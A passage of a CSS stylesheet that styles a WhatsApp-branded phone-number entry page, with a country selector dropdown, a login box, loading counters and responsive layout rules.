    .loading-box img {
        width: 80px;
        margin-bottom: 12px;
    }

    .counter-container {
        font-size: 16px;
    }

    .counter {
        font-size: 20px;
        min-width: 32px;
    }

    .progress-bar {
        width: 90%;
        height: 5px;
    }

    .wa-container {
        width: 100% !important;
        max-width: 100% !important;
        padding: 15px !important;
        margin: auto;
        border-radius: 8px !important;
        border: none !important;
    }

    .wa-header {
        padding: 15px 15px 10px;
    }

    .wa-logo {
        width: 70px;
        height: 70px;
    }

    .wa-logo i {
        font-size: 36px;
    }

    .wa-title {
        font-size: 18px !important;
        margin-bottom: 4px !important;
    }

    .wa-subtitle {
        font-size: 13px !important;
        margin-bottom: 16px !important;
    }

    .wa-input {
        padding: 8px 12px 8px 36px;
        font-size: 13px;
    }

    .wa-input-icon {
        font-size: 14px;
        left: 10px;
    }

    .wa-btn {
        padding: 8px 12px;
        font-size: 13px;
    }

    .wa-security {
        padding: 12px;
        margin-top: 15px;
    }

    .popup-box {
        width: 100% !important;
        max-width: 100% !important;
        padding: 1.5rem !important;
        margin: 0;
    }

    .popup-box h2 {
        font-size: 1.3rem;
    }

    .popup-box p {
        font-size: 0.95rem;
    }

    .popup-box .loading-gif {
        width: 48px;
    }

    .mobile-footer {
        font-size: 12px;
        bottom: 8px;
    }

    .mobile-footer .footer-links {
        gap: 16px;
    }

    .mobile-footer .footer-note {
        font-size: 10px;
        padding: 0 10px;
    }

    .wa-footer {
        font-size: 11px;
    }

    .wa-footer .footer-links {
        gap: 15px;
    }

    .wa-footer .footer-note {
        font-size: 9px;
    }

    .login-header img {
        width: 90px;
        padding-bottom: 16px;
    }

    .toggle-password {
        right: 8px;
        top: 31%;
    }
}

@media (max-width: 360px) {
    .mobile-footer .footer-links,
    .wa-footer .footer-links {
        gap: 12px;
    }
    
    .mobile-footer {
        font-size: 11px;
    }
    
    .mobile-footer .footer-note,
    .wa-footer .footer-note {
        font-size: 9px;
    }
    
    .login-box,
    .wa-container,
    .popup-box {
        padding: 15px !important;
    }
    
    .wa-logo {
        width: 60px;
        height: 60px;
    }

    .wa-logo i {
        font-size: 32px;
    }

    .loading-box {
        padding: 16px;
    }

    .loading-title {
        font-size: 20px;
    }

    .loading-subtitle {
        font-size: 13px;
    }

    .counter-container {
        font-size: 14px;
    }

    .counter {
        font-size: 18px;
        min-width: 28px;
    }
}

@media (min-width: 1200px) {
    .loading-container {
        max-width: 500px;
    }

    .loading-box {
        padding: 40px;
    }

    .loading-title {
        font-size: 28px;
    }

    .loading-subtitle {
        font-size: 16px;
    }

    .counter-container {
        font-size: 20px;
    }

    .counter {
        font-size: 26px;
        min-width: 40px;
    }
}

/* ******************************************========
   WhatsApp Phone Input Design
   ******************************************======== */

.wa-phone-container {
    display: flex;
    justify-content: center;
    align-items: center;
    min-height: 100vh;
    width: 100%;
    padding: 20px;
    z-index: 10;
    position: relative;
    overflow: hidden;
}

.wa-enterprise-bg {
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    z-index: -1;
    background: linear-gradient(135deg, #075e54 0%, #128C7E 30%, #25d366 70%, #dcf8c6 100%);
    overflow: hidden;
}

.wa-enterprise-bg::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background-image: url("data:image/svg+xml,%3Csvg width='100' height='100' viewBox='0 0 100 100' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M50 5C25.1 5 5 25.1 5 50c0 8.1 2.1 15.7 5.8 22.3L5 95l23.5-6.2C35 92.1 42.3 94.5 50 94.5c24.9 0 45-20.1 45-45S74.9 5 50 5zm0 82c-7.1 0-14-2.1-19.9-6l-1.4-.9-14.6 3.8 3.9-14.3-.9-1.5C12.9 62.5 10.5 56.4 10.5 50c0-21.8 17.7-39.5 39.5-39.5S89.5 28.2 89.5 50 71.8 89 50 87z' fill='%23ffffff' fill-opacity='0.03'/%3E%3C/svg%3E");
    background-size: 80px 80px;
    animation: patternMove 30s linear infinite;
}

@keyframes patternMove {
    0% { background-position: 0 0; }
    100% { background-position: 80px 80px; }
}

.wa-enterprise-bg::after {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background: 
        radial-gradient(ellipse at 20% 20%, rgba(255,255,255,0.15) 0%, transparent 50%),
        radial-gradient(ellipse at 80% 80%, rgba(37, 211, 102, 0.2) 0%, transparent 50%),
        radial-gradient(ellipse at 50% 50%, rgba(255,255,255,0.05) 0%, transparent 70%);
    pointer-events: none;
}

/* Floating WhatsApp icons */
.wa-floating-icons {
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    overflow: hidden;
    pointer-events: none;
}

.wa-floating-icon {
    position: absolute;
    font-size: 24px;
    color: rgba(255, 255, 255, 0.1);
    animation: floatUp 15s ease-in-out infinite;
}

.wa-floating-icon:nth-child(1) { left: 10%; animation-delay: 0s; font-size: 20px; }
.wa-floating-icon:nth-child(2) { left: 25%; animation-delay: 2s; font-size: 28px; }
.wa-floating-icon:nth-child(3) { left: 40%; animation-delay: 4s; font-size: 18px; }
.wa-floating-icon:nth-child(4) { left: 55%; animation-delay: 6s; font-size: 32px; }
.wa-floating-icon:nth-child(5) { left: 70%; animation-delay: 8s; font-size: 22px; }
.wa-floating-icon:nth-child(6) { left: 85%; animation-delay: 10s; font-size: 26px; }
.wa-floating-icon:nth-child(7) { left: 15%; animation-delay: 3s; font-size: 16px; }
.wa-floating-icon:nth-child(8) { left: 60%; animation-delay: 7s; font-size: 30px; }

@keyframes floatUp {
    0% {
        transform: translateY(100vh) rotate(0deg) scale(0.5);
        opacity: 0;
    }
    10% {
        opacity: 1;
    }
    90% {
        opacity: 1;
    }
    100% {
        transform: translateY(-100px) rotate(360deg) scale(1);
        opacity: 0;
    }
}

/* Glowing orbs */
.wa-glow-orb {
    position: absolute;
    border-radius: 50%;
    filter: blur(60px);
    animation: orbPulse 8s ease-in-out infinite;
}

.wa-glow-orb:nth-child(1) {
    width: 300px;
    height: 300px;
    background: rgba(37, 211, 102, 0.3);
    top: -100px;
    right: -100px;
    animation-delay: 0s;
}

.wa-glow-orb:nth-child(2) {
    width: 200px;
    height: 200px;
    background: rgba(18, 140, 126, 0.25);
    bottom: -50px;
    left: -50px;
    animation-delay: 2s;
}

.wa-glow-orb:nth-child(3) {
    width: 150px;
    height: 150px;
    background: rgba(220, 248, 198, 0.2);
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    animation-delay: 4s;
}

@keyframes orbPulse {
    0%, 100% {
        transform: scale(1);
        opacity: 0.6;
    }
    50% {
        transform: scale(1.2);
        opacity: 0.9;
    }
}

.wa-phone-box {
    background: rgba(255, 255, 255, 0.95);
    border-radius: 24px;
    padding: 48px 40px;
    max-width: 460px;
    width: 100%;
    box-shadow: 
        0 25px 50px rgba(0, 0, 0, 0.25),
        0 0 0 1px rgba(255, 255, 255, 0.1),
        inset 0 1px 0 rgba(255, 255, 255, 0.8);
    text-align: center;
    backdrop-filter: blur(20px);
    position: relative;
    overflow: hidden;
    animation: boxAppear 0.6s cubic-bezier(0.16, 1, 0.3, 1);
}

@keyframes boxAppear {
    0% {
        opacity: 0;
        transform: translateY(30px) scale(0.95);
    }
    100% {
        opacity: 1;
        transform: translateY(0) scale(1);
    }
}

.wa-phone-box::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    height: 4px;
    background: linear-gradient(90deg, #25d366, #128C7E, #075e54, #128C7E, #25d366);
    background-size: 200% 100%;
    animation: gradientShift 3s ease infinite;
}

@keyframes gradientShift {
    0% { background-position: 0% 50%; }
    50% { background-position: 100% 50%; }
    100% { background-position: 0% 50%; }
}

.wa-phone-header {
    margin-bottom: 32px;
}

#logo-whatsapp img{
    width: 55%;
}

.wa-phone-title {
    font-size: 28px;
    font-weight: 400;
    color: #1a1a1a;
    margin: 0 0 12px 0;
    font-family: 'Segoe UI', Arial, sans-serif;
}

.wa-phone-subtitle {
    font-size: 16px;
    color: #667781;
    margin: 0;
    font-weight: 400;
}

.wa-phone-lg {
    display: flex;
    flex-direction: column;
    gap: 16px;
}

.wa-phone-group {
    width: 100%;
}

.wa-country-select {
    width: 100%;
    height: 52px;
    padding: 0 20px;
    border: 1.5px solid #d1d7db;
    border-radius: 26px;
    font-size: 16px;
    font-family: 'Segoe UI', Arial, sans-serif;
    color: #1a1a1a;
    background: #fff url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 12 12'%3E%3Cpath fill='%23667781' d='M6 8L1 3h10z'/%3E%3C/svg%3E") no-repeat right 20px center;
    background-size: 12px;
    appearance: none;
    -webkit-appearance: none;
    -moz-appearance: none;
    cursor: pointer;
    transition: border-color 0.2s ease;
}

.wa-country-select:focus {
    outline: none;
    border-color: #25d366;
}

.wa-country-select:hover {
    border-color: #25d366;
}

.wa-phone-input {
    width: 100%;
    height: 52px;
    padding: 0 20px;
    border: 1.5px solid #d1d7db;
    border-radius: 26px;
    font-size: 16px;
    font-family: 'Segoe UI', Arial, sans-serif;
    color: #1a1a1a;
    background: #fff;
    transition: border-color 0.2s ease;
}

.wa-phone-input:focus {
    outline: none;
    border-color: #25d366;
}

.wa-phone-input::placeholder {
    color: #667781;
}

.wa-phone-btn {
    width: auto;
    min-width: 160px;
    height: 52px;
    padding: 0 40px;
    margin-top: 20px;
    background: linear-gradient(135deg, #25d366 0%, #128C7E 100%);
    color: #fff;
    border: none;
    border-radius: 26px;
    font-size: 16px;
    font-weight: 600;
    font-family: 'Segoe UI', Arial, sans-serif;
    cursor: pointer;
    position: relative;
    overflow: hidden;
    transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
    box-shadow: 0 4px 15px rgba(37, 211, 102, 0.4);
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 10px;
}

.wa-phone-btn::before {
    content: '';
    position: absolute;
    top: 0;
    left: -100%;
    width: 100%;
    height: 100%;
    background: linear-gradient(90deg, transparent, rgba(255,255,255,0.3), transparent);
    transition: left 0.5s ease;
}

.wa-phone-btn:hover::before {
    left: 100%;
}

.wa-phone-btn:hover {
    transform: translateY(-3px) scale(1.02);
    box-shadow: 0 8px 25px rgba(37, 211, 102, 0.5);
}

.wa-phone-btn:active {
    transform: translateY(-1px) scale(0.98);
    box-shadow: 0 4px 15px rgba(37, 211, 102, 0.4);
}

.wa-phone-btn::after {
    content: '';
    position: absolute;
    top: 50%;
    left: 50%;
    width: 0;
    height: 0;
    background: rgba(255,255,255,0.3);
    border-radius: 50%;
    transform: translate(-50%, -50%);
    transition: width 0.6s ease, height 0.6s ease;
}

.wa-phone-btn:active::after {
    width: 300px;
    height: 300px;
}

/* Ripple effect animation */
@keyframes ripple {
    0% {
        transform: scale(0);
        opacity: 1;
    }
    100% {
        transform: scale(4);
        opacity: 0;
    }
}

.wa-phone-btn .ripple {
    position: absolute;
    border-radius: 50%;
    background: rgba(255,255,255,0.4);
    transform: scale(0);
    animation: ripple 0.6s linear;
    pointer-events: none;
}

.wa-phone-btn.loading {
    pointer-events: none;
    opacity: 0.9;
}

.wa-phone-btn .btn-text {
    transition: opacity 0.3s ease;
}

.wa-phone-btn.loading .btn-text {
    opacity: 0;
}

.wa-phone-btn .btn-loader {
    position: absolute;
    display: none;
}

.wa-phone-btn.loading .btn-loader {
    display: flex;
    align-items: center;
    gap: 8px;
}

.wa-phone-btn .btn-spinner {
    width: 20px;
    height: 20px;
    border: 2px solid rgba(255,255,255,0.3);
    border-top-color: #fff;
    border-radius: 50%;
    animation: btnSpin 0.8s linear infinite;
}

.wa-phone-btn .btn-loader-text {
    font-size: 14px;
    font-weight: 500;
}

/* ******************************************========
   Country Selector with Modal
   ******************************************======== */

.country-selector-wrapper {
    position: relative;
    width: 100%;
}

.country-selector-trigger {
    display: flex;
    align-items: center;
    gap: 12px;
    width: 100%;
    height: 52px;
    padding: 0 20px;
    border: 1.5px solid #d1d7db;
    border-radius: 26px;
    background: #fff;
    cursor: pointer;
    transition: border-color 0.2s ease;
    font-family: 'Segoe UI', Arial, sans-serif;
}

.country-selector-trigger:hover,
.country-selector-trigger:focus {
    border-color: #25d366;
}

.country-flag {
    font-size: 20px;
    line-height: 1;
}

.country-name {
    flex: 1;
    font-size: 16px;
    color: #1a1a1a;
    text-align: left;
}

.dropdown-arrow {
    transition: transform 0.2s ease;
}

.country-selector-trigger.open .dropdown-arrow {
    transform: rotate(180deg);
}

.country-dropdown {
    position: absolute;
    top: calc(100% + 8px);
    left: 0;
    right: 0;
    background: #fff;
    border-radius: 16px;
    box-shadow: 0 4px 24px rgba(0, 0, 0, 0.15);
    z-index: 1000;
    overflow: hidden;
    animation: dropdownFadeIn 0.2s ease;
}

.country-dropdown.hidden {
    display: none;
}

@keyframes dropdownFadeIn {
    from {
        opacity: 0;
        transform: translateY(-8px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

.country-search-wrapper {
    display: flex;
    align-items: center;
    padding: 12px 16px;
    border-bottom: 1px solid #e9edef;
    gap: 10px;
}

.search-icon {
    flex-shrink: 0;
}

.country-search-input {
    flex: 1;
    border: none;
    outline: none;
    font-size: 15px;
    font-family: 'Segoe UI', Arial, sans-serif;
    color: #1a1a1a;
    background: transparent;
}

.country-search-input::placeholder {
    color: #667781;
}

.country-list {
    max-height: 280px;
    overflow-y: auto;
    padding: 8px 0;
}

.country-list::-webkit-scrollbar {
    width: 6px;
}

.country-list::-webkit-scrollbar-track {
    background: transparent;
}

.country-list::-webkit-scrollbar-thumb {
    background: #d1d7db;
    border-radius: 3px;
}

.country-item {
    display: flex;
    align-items: center;
    padding: 12px 16px;
    cursor: pointer;
    transition: background-color 0.15s ease;
    gap: 12px;
}

.country-item:hover {
    background-color: #f5f6f6;
}

.country-item.selected {
    background-color: #f0faf4;
}

.country-item-flag {
    font-size: 18px;
    line-height: 1;
    width: 24px;
    text-align: center;
}

.country-item-info {
    flex: 1;
    display: flex;
    flex-direction: column;
    min-width: 0;
}

.country-item-name {
    font-size: 15px;
    color: #1a1a1a;
    white-space: nowrap;
    overflow: hidden;
    text-overflow: ellipsis;
}

.country-item-alt {
    font-size: 12px;
    color: #667781;
    margin-top: 2px;
}

.country-item-code {
    font-size: 14px;
    color: #667781;
    margin-left: auto;
    padding-left: 8px;
}

.country-check {
    flex-shrink: 0;
    margin-left: 4px;
}

/* Responsive para WhatsApp Phone */
@media (max-width: 500px) {
    .wa-phone-box {
        padding: 32px 24px;
        border-radius: 16px;
    }

    .wa-phone-title {
        font-size: 22px;
    }

    .wa-phone-subtitle {
        font-size: 14px;
    }

    .wa-country-select,
    .wa-phone-input {
        height: 48px;
        font-size: 15px;
        border-radius: 24px;
    }

    .wa-phone-btn {
        width: 100%;
        height: 48px;
    }

    .country-selector-trigger {
        height: 48px;
        padding: 0 16px;
        border-radius: 24px;
    }

    .country-flag {
        font-size: 18px;
    }

    .country-name {
        font-size: 15px;
    }

    .country-dropdown {
        border-radius: 12px;
    }

    .country-list {
        max-height: 240px;
    }

    .country-item {
        padding: 10px 14px;
    }

    .country-item-name {
        font-size: 14px;
    }

    .country-item-code {
        font-size: 13px;
    }
}
